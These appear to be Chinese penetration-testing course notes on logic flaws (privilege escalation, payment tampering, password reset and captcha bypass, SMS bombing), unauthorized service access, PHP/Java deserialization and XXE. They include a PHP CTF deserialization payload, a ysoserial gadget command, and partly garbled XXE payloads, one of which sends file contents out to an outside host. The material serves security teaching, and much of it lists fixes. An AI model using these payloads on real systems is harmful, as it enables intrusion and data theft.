如果使用A用户的权限去操作B用户的数据,A的权限小于B的权限,如果能够成功操作,则称之为越权操作。 越权漏洞形成的原因是后台使用了不合理的权限校验规则导致的。
一般越权漏洞容易出现在权限页面(需要登录的页面)增、删、改、查的的地方,当用户对权限页面内的信息进行这些操作时,后台需要对 对当前用户的权限进行校验,看其是否具备操作的权限,从而给出响应,而如果校验的规则过于简单则容易出现越权漏洞。
因此,在在权限管理中应该遵守:
1.使用最小权限原则对用户进行赋权;
2.使用合理(严格)的权限校验规则;
3.使用后台登录态作为条件进行权限判断,别动不动就瞎用前端传进来的条件;
原理
前端安全造成:界面
判断用户等级后,代码界面部分进行可选显示
后端安全造成:数据库
分析
user表(管理员和普通用户同表)
id,username , password, usertype
1 , admin, 123456, 1
2 , xiaodi, 11111, 2
登录用户admin或xiaodi时,代码是如何验证这个级别?(usertype判断)
如果在访问数据包中有传输用户的编号、用户组编号或类型编号的时候,那么尝试对这个值进行修改,就是测试越权漏洞的基本。
1.前后端同时对用户输入信息进行校验,双重验证机制
2.调用功能前验证用户是否有权限调用相关功能
3.执行关键操作前必须验证用户身份,验证用户是否具备操作数据的权限
4.直接对象引用的加密资源ID,防止攻击者枚举ID,敏感数据特殊化处理
5.永远不要相信来自用户的输入,对于可控参数进行严格的检查与过滤
前提条件:获取添加用户的数据包
方法:
Pikachu-本地水平垂直越权演示(漏洞成因)
墨者水平-身份认证失效漏洞实战(漏洞成因)
越权检测-小米范越权漏洞检测工具(工具使用)
越权检测-Burpsuite插件Authz安装测试(插件使用)
https://github.com/ztosec/secscan-authcheck 搭建有些麻烦,但挺好用
http://pan.baidu.com/s/1pLjaQKF(privilegechecker) 小米范越权漏洞检测工具(工具使用)
https://www.mozhe.cn/bug/detail/eUM3SktudHdrUVh6eFloU0VERzB4Zz09bW96aGUmozhe
检测功能点,检测,危害,修复方案等
1.登录点暴力破解
2.HTTP/HTTPS传输
3.cookie脆弱点验证
4 .session固定点测试
5.验证密文比对安全测试
原理,检测,危害,修复等
参考: https://www.secpulse.com/archives/67080.html 挖洞技巧:支付漏洞之总结
选择商品和数量-选择支付及配送方式-生成订单编号-订单支付选择-完成支付
商品编号ID,购买价格,购买数量,支付方式,订单号,支付状态等
替换支付,重复支付,最小额支付,负数支付,溢出支付,优惠券支付等
HTTP/HTTPS协议密文抓取
后台登录帐号密码爆破测试
Cookie脆弱点验证修改测试
某商场系统商品支付逻辑测试-数量,订单
某建站系统商品支付逻辑测试-价格,商品
https://www.zblogcn.com/zblogphp/ 博客源码
https://github.com/huyuanzhi2/password_brute_dictionary
https://pan.baidu.com/s/1fJaW23UdcXcSFigX0-Duwg提取码:xiao
客户端回显,Response 状态值,验证码爆破,找回流程绕过等
接口调用乱用
短信轰炸,来电轰炸等
客户端/服务端回显
安全方式
第一个页面
输入手机号码验证码
第二个页面
重置密码
一个页面操作数据的流程问题
调过步骤的流程问题
1.发送验证码
2.验证
3.重置密码
1-3跳过2流程问题
可能存在数据替换问题
http://downcode.com/downcode/j_16621.shtml
https://www.mozhe.cn/bug/detail/K2sxTTVYaWNncUE1cTdyNXIyTklHdz09bW96aGUmozhe
分类:图片,手机或邮箱,语音,视频,操作等
原理:验证生成或验证过程中的逻辑问题
危害:账户权限泄漏,短信轰炸,遍历,任意用户操作等
漏洞:客户端回显(已讲),验证码复用,验证码爆破(已讲),绕过等
基本上述同理,主要是验证中可存在绕过可继续后续测试
token爆破、token客户端回显
验证码识别插件工具使用
captcha-killer, Pkav_Http_Fuzz,reCAPTCHA等
接口安全问题
调用,遍历,未授权,篡改等
调用,遍历,未授权,篡改等
调用案例:短信轰炸
遍历案列:UID 等遍历
callback 回调 JSONP
参数篡改:墨者靶场
xiaodi uid=10
1-1000 尝试能不能获取到其他编号对应的用户信息
未授权访问:
与越权漏洞区别
Jboss 未授权访问
Jenkins 未授权访问
ldap 未授权访问
Redis 未授权访问
elasticsearch 未授权访问
MenCache 未授权访问
Mongodb 未授权访问
Rsync 未授权访问
Zookeeper 未授权访问
Docker 未授权访问
#更多细节见笔记文档打包的 PDF
Web 攻防之业务安全实战指南
未授权访问漏洞集合带环境及解题
https://www.cnblogs.com/nul1/p/12071115.html
https://github.com/c0ny1/captcha-killer/releases/tag/0.1.2
https://github.com/bit4woo/reCAPTCHA/releases/tag/v1.0
https://www.cnblogs.com/cwkiller/p/12659549.html captcha-killer burp验证码识别插件初体验
原理:未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致代码执行,SQL 注入,目录遍历等不可控后果。在反序列化的过程中自动触发了某些魔术方法。当进行反序列化的时候就有可能会触发对象中的一些魔术方法。
serialize() //将一个对象转换成一个字符串
unserialize() //将字符串还原成一个对象
触发:unserialize 函数的变量可控,文件中存在可利用的类,类中有魔术方法:
参考
__construct()//创建对象时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用 isset()或 empty()触发
__unset() //在不可访问的属性上使用 unset()时触发
__invoke() //当脚本尝试将对象调用为函数时触发
ctf解题思路
首先 ctf 命名及代码函数 unserialize 判断反序列化知识点
第一:获取 flag 存储 flag.php
第二:两个魔术方法__destruct __construct
第三:传输 str 参数数据后触发 destruct,存在 is_valid 过滤
第四:__destruct 中会调用 process,其中 op=1 写入及 op=2 读取
第五:涉及对象 FileHandler,变量 op 及 filename,content,进行构造输出
class FileHandler{
public $op=' 2';//源码告诉我们 op 为 1 时候是执行写入为 2 时执行读
public $filename="flag.php";//文件开头调用的是 flag.php
public $content="xd";
}
$flag = new FileHandler();
$flag_1 = serialize($flag);
echo $flag_1;
?>
error_reporting(0);
include "flag.php";
$KEY = "xiaodi";
$str = $_GET['str'];
if (unserialize($str) === "$KEY")
{
echo "$flag";
}
show_source(__FILE__);
class ABC{
public $test;
function __construct(){
$test =1;
echo '调用了构造函数
';
}
function __destruct(){
echo '调用了析构函数
';
}
function __wakeup(){
echo '调用了苏醒函数
';
}
}
echo '创建对象 a
';
$a = new ABC;
echo '序列化
';
$a_ser=serialize($a);
echo '反序列化
';
$a_unser = unserialize($a_ser);
echo '对象快要死了!';
?>
class FileHandler{
public $op='2' ; //源码告诉我们op为1时候是执行写入为2时执行读
public $filename="flag.php" ; //文件开头调用的是flag.php
public $content="xd" ;
}
$flag= new FileHandler();
$flag_1 = serialize($flag);
echo $flag_1;
?>
涉及:反序列化魔术方法调用,弱类型绕过,ascii 绕过
使用该类对 flag 进行读取,这里面能利用的只有__destruct 函数(析构函数)。__destruct 函数对
$this->op 进行了===判断并内容在 2 字符串时会赋值为 1,process 函数中使用==对$this->op 进行判
断(为 2 的情况下才能读取内容),因此这里存在弱类型比较,可以使用数字 2 或字符串' 2'绕过判断。
is_valid 函数还对序列化字符串进行了校验,因为成员被 protected 修饰,因此序列化字符串中会出
现 ascii 为 0 的字符。经过测试,在 PHP7.2+的环境中,使用 public 修饰成员并序列化,反序列化后
成员也会被 public 覆盖修饰。
https://www.cnblogs.com/20175211lyz/p/11403397.html
序列化 (Serialization):将对象的状态信息转换为可以存储或传输的形式的过程。在序列化期间,对
象将其当前状态写入到临时或持久性存储区。
反序列化:从存储区中读取该数据,并将其还原为对象的过程,称为反序列化。
//代码执行
package Student;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
public class Main {
public static void main(String[] args) throws IOException,InterruptedException {
Process p=Runtime.getRuntime().exec("ipconfig");
java.io.InputStream is=p.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(is));p.waitFor();
if(p.exitValue() != 0) {
//说明命令执行失败,可以进入到错误处理步骡中
}
String s = null;
while ((s = reader.readLine()) != null) {
System.out.println(s);
}
}
}
扩充:cmd下结束某端口进程
WebGoat_Javaweb 靶场反序列化测试
java -Dhibernate5 -cp hibernate-core-5.4.9.Final.jar;ysoserial-master-30099844c6-1.jar
ysoserial.GeneratePayload Hibernate1 calc.exe > payload.bin
https://github.com/frohoff/ysoserial/releases
https://github.com/WebGoat/WebGoat/releases
https://github.com/NickstaDB/SerializationDumper/releases/tag/1.12
XML 被设计为传输和存储数据,XML 文档结构包括 XML 声明、DTD 文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据
从 HTML 分离,是独立于软件和硬件的信息传输工具。
XXE 漏洞全称XML External Entity Injection,即 xml 外部实体注入漏洞,XXE 漏洞发生在应用程序解析 XML 输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。
XML 与 HTML 的主要差异
XML 被设计为传输和存储数据,其焦点是数据的内容。
HTML 被设计用来显示数据,其焦点是数据的外观。
HTML 旨在显示信息 ,而 XML 旨在传输信息。
<!DOCTYPE note [
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT head (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]]]>
<note>
<to>Daveto>
<from>Tomfrom>
<head>Reminderhead>
<body>You are a good manbody>
note>
文档类型定义(DTD)可定义合法的 XML 文档构建模块,它使用一系列合法的元素来定义文档的结构,DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。
(1)内部的 DOCTYPE 声明
(2)外部文档声明
DTD 实体
(1)内部实体声明
(2)外部实体声明
(3)参数实体声明
方案 1-禁用外部实体
玩法-读文件
]>
<x>&xxe;x>;
玩法-内网探针或攻击内网应用(触发漏洞地址)
DOCTYPE foo [
<!ELEMENT foo ANY >
]>
<x>&rabbit;x>
玩法-RCE
#该CASE是在安装expect扩展的eHe环境里执行系统命令
]>
<x>&xxe;x>
引入外部实体 dtd
DOCTYPE test [
%file;
]>
<x>&send;x>
evil2.dtd:
无回显-读取文件
DOCTYPE test [
%dtd;
%send;
]>
test.dtd:
% send SYSTEM 'http://192.168.0.103:8081/?data=%file;'>"
>
%payload;
协议-读文件(绕过)
参考
DOCTYPE ANY [ ]>
<x>&f;x>
CTF-Vulnhub-XXE 安全真题复现-检测,利用,拓展,实战
扫描 IP 及端口->扫描探针目录->抓包探针 xxe 安全->利用 xxe 读取源码->flag 指向文件->base32 64 解
密->php 运行->flag
DOCTYPE r [
<!ELEMENT r ANY >
]>
<root><name>&sp;name><password>hjpassword>root>
vulnhub.com 国外靶场
http://web.jarvisoj.com:9882/
https://github.com/c0ny1/xxe-lab
https://github.com/enjoiz/XXEinjector
https://download.vulnhub.com/xxe/XXE.zip
https://www.cnblogs.com/bmjoker/p/9614990.html
https://www.cnblogs.com/20175211lyz/p/11413335.html